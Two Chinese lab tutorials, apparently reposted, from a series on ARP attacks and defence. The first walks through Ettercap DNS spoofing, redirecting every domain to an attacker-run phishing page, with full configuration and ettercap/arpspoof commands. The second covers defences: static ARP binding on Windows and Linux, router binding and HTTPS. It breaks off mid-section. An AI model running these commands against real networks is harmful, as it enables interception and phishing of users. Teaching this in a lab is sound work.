ARP渗透与攻防之Ettercap Dns劫持
Posted 私ははいしゃ敗者です
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ARP渗透与攻防之Ettercap Dns劫持相关的知识,希望对你有一定的参考价值。
系列文章
ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
ARP渗透与攻防(四)之WireShark截获用户数据
ARP渗透与攻防(五)之Ettercap劫持用户流量
ARP渗透与攻防(六)之限制网速攻击
ARP-Ettercap Dns劫持
1.什么是DNS
1.概念
DNS是Domain Name System的缩写, 我们称之域名系统。首先它是远程调用服务,本地默认占用53端口,它本身的实质上一个域名和ip的数据库服务器,他要完成的任务是帮我们把输入的域名转换成ip地址,之后通过ip寻址连接目标服务器。
2.工作过程
当访问一个网站时系统将从DNS缓存中读取该域名所对应的IP地址,当查找不到时就会到系统中查找hosts文件,如果还没有那么才会向DNS服务器请求一个DNS查询,DNS服务器将返回该域名所对应的IP,在你的系统收到解析地址以后将使用该IP地址进行访问,同时将解析缓存到本地的DNS缓存中。
2.什么是DNS劫持
1.概念
DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。
2.ettercap劫持的原理
局域网劫持, 攻击者通过伪装成网关, 劫持受害者的网络请求, 将网络请求拦截到指定的服务器
3.DNS常用命令讲解
1.查看DNS缓存表
ipconfig /displaydns
2.获取DNS地址:
ping maishibing.com
2.刷新DNS缓存
ipconfig /flushdns
3.ARP-DNS欺骗攻击步骤
环境准备
kali 作为ARP攻击机,IP地址:192.168.110.12
win10 作为被攻击方,IP地址:192.168.110.11
网关(路由器),IP地址:192.168.110.1
1.kali开启apache服务
service apache2 start
2.kali浏览器访问Apache的首页
http://192.168.110.12
确认apache服务已经开启
3.编辑ettercap配置文件
1.进入配置文件位置
cd /etc/ettercap
2.复制原有的配置文件(环境恢复比较方便)
cp etter.dns etter.dns2
3.设置dns劫持配置文件
vi /etc/ettercap/etter.dns
添加以下内容
* A 192.168.110.12
* PTR 192.168.110.12
wq保存
参数
*:通配符,代表所有的网站都将被解析到192.168.110.12
也可以换成指定的网站,比如www.jd.com,表示将www.jd.com解析到192.168.110.12
A:常被用于正向地址解析,后面跟上钓鱼的ip地址
PTR :常被用于反向地址解析,后面跟上钓鱼的ip地址
5.ettercap劫持命令讲解
ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /被攻击者ip// /被攻击者网关//
-i:网卡
-T:文本模式
-q:安静模式
-M:执行mitm攻击
-P:plugin 开始该插件
4.靶机访问以下网站确认环境正常
http://www.jd.com/
6.执行劫持命令
ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /192.168.110.11// /192.168.110.1// >b.txt
7.分析日志
tail -f b.txt
或者
tail -f b.txt | grep "dns_spoof"
8.靶机重新访问以下网站查看攻击效果
http://www.jd.com/
可以看到虽然靶机访问的是jd.com,但打开的却是我们钓鱼的网站,DNS欺骗成功。
9.停止劫持
Ctrl+C
10.恢复dns列表,刷新dns缓存即可。
ipconfig /flushdns
刷新前:
刷新后:
11.靶机访问以下网站查看环境是否恢复正常
http://www.jd.com/
可以看到环境恢复正常了
12.恢复kali环境
1.进入配置文件位置
cd /etc/ettercap
2.复制dns文件到新文件
cp etter.dns etter.dns1
3.还原dns配置文件
将我们之前拷贝的etter.dns2备份文件回复正常
cp etter.dns2 etter.dns
ARP渗透与攻防之ARP攻击防御
系列文章
ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
ARP渗透与攻防(四)之WireShark截获用户数据
ARP渗透与攻防(五)之Ettercap劫持用户流量
ARP渗透与攻防(六)之限制网速攻击
ARP渗透与攻防(七)之Ettercap Dns劫持
ARP攻击防御
1.ARP防御方法简介
ARP攻击的原理是向网关和靶机不停的发送ARP欺骗报文,我们的计算机或者网关就会实时更新ARP缓存表,从而出现安全漏洞。假如对这种欺骗报文的处理是不相信或者不接受的话,就不会出现问题了。处理这种的欺骗的行为我们没办法提前在攻击端进行操作,因为敌人躲在暗处,而我们处明处。
针对这种情况我们可以从以下两方面入手:
1.让我们的电脑不接收欺骗包
2.即使接收到欺骗的包也不要相信
目前网络安全行业现有的ARP防御方案,基本都是基于上面两个方法实现的。
2.windows防御
1.安装arp的防火墙
1.安装360安全卫士 地址:https://www.360.cn/
2.选择网络安全
3.选择流量防火墙
4.选择局域网防护开启防火墙
5.kali开启ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24
6.查看防护效果
2.设置静态mac地址
1.临时绑定,重启后失去保护效果
1.ARP表MAC地址绑定状态
ARP表MAC地址绑定类型有动态和静态两种。
动态:有时效限制,会实时更新,不安全
静态:长久生效,不会随时间或者通知而变化,安全。
我们来看一下电脑上的ARP表。
arp -a
大部分都是动态的,动态的MAC地址他有生命周期,一定时间之后就会被替换,另外别人通知我更新的时候,也会被直接替换,也就是说无论是被动获取时发现变化了,还是主动被告知时已经变动了,arp列表都会进行更新。如果是攻击方告诉了靶机,他也会相信,从而导致被攻击。我们解决的方法就是把动态的MAC地址变成静态的。那么该如何绑定呢?
2.绑定步骤
1.Win10以管理员身份运行CMD命令提示符
2.查询网关的ip和mac地址
arp -a | findstr 192.168.110.1
网关的IP:192.168.110.1
网关的MAC地址:e4-3a-6e-35-98-00
3.查询本机的网卡
ipconfig
4.查询本地连接的网卡ID号
netsh i i show in
#netsh i i show in 是netsh interface ipv4 show interfaces 的缩写
从图中可以找到,Idx就是网卡的ID,以 Ethernet0也就是我本机的网卡,id=6
5.临时绑定mac地址,重启失效
netsh -c i i add neighbors 6 192.168.110.1 e4-3a-6e-35-98-00 store=active
-c Context 指定上下文
i: interface 更改到 `netsh interface' 上下文。
i:ipv4
add: 在项目列表上添加一个配置项目
neighbors: 添加邻居地址
store=active:设置为临时绑定
查询帮助命令:netsh -c /?
6.发起ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24
7.查询靶机ARP表
arp -a
8.停止ARP攻击
ctrl+c
9.重启靶机,查看arp表
arp -a
10.重新发起ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
11.查看靶机arp
arp -a
12.停止攻击
ctrl+c
2.永久绑定,重启后不失效
1.绑定命令
netsh -c i i add neighbors 6 192.168.110.1 e4-3a-6e-35-98-00 store=persistent
store=persistent:永久绑定
2.查看ARP表
arp -a
3.发起ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24
4.查看arp缓存表
arp -a
5.重启电脑,查看ARP表
arp -a
6.删除静态配置
arp -d ip #不推荐使用,下次设置时,出现错误
netsh -c i i delete ne 6 #推荐使用
7.查看靶机arp表
arp -a
8.停止攻击
ctrl+c
3.linux防御
1.查询arp表命令
arp -a
ip n
ip neigh
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 STALE #不新鲜的
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 REACHABLE #可到达的
2.临时添加静态地址,重启后失效
arp -s 192.168.110.1 e4:3a:6e:35:98:00
3.查询arp表
ip n
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 PERMANENT #永久的
4.发起ARP攻击
ettercap -T -i eth0 -M arp:remote /192.168.110.1// /192.168.110.26//
5.查看靶机arp表
ip n
6.重启靶机
reboot
7.查看靶机arp表
ip n
可以看到重启后绑定失效了,mac地址又被替换成了kali的,于是又被arp攻击成功了。
8.将其添加到 rc.local里边 开启自动执行
vi /etc/rc.local
chmod +x /etc/rc.d/rc.local
添加:
arp -s 192.168.110.1 e4:3a:6e:35:98:00
wq保存
9.重启centos7
reboot
10.查看arp表
ip n
可以看到,设置自动执行后,重启系统arp绑定也没失效。
4.路由/网关防护设置
1.打开路由器配置网站
一般是http://网关ip
2.点击更多功能
3.选择网络设置–局域网
4.添加静态ip地址绑定列表
5.手动添加绑定
5.WEB服务防御ARP攻击
web服务防御明文传输泄露用户信息的手段:使用加密协议:https
1.什么是HTTP
超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于TCP/IP协议传输数据,互联网上应用最为广泛的一种网络协议,所有的WWW文件都必须遵守这个标准。设计HTTP的初衷是为了提供一种发布和接收HTML页面的方法。使用明文传输,容易被劫持。
2.什么是HTTPS
《图解HTTP》这本书中曾提过HTTPS是身披SSL外壳的HTTP。HTTPS是一种通过计算机网络进行安全通信的传输协议,经由HTTP进行通信,利用SSL/TLS建立全信道,加密数据包。HTTPS使用的主要目的是提供对网站服务器的身份认证,同时保护交换数据的隐私与完整性。使用加密传输,不容易被拦截,更加安全。
TLS是传输层加密协议,前身是SSL协议,由网景公司1995年发布,有时候两者不区分。
3.HTTPS加密通讯工作原理
以上是关于ARP渗透与攻防之Ettercap Dns劫持的主要内容,如果未能解决你的问题,请参考以下文章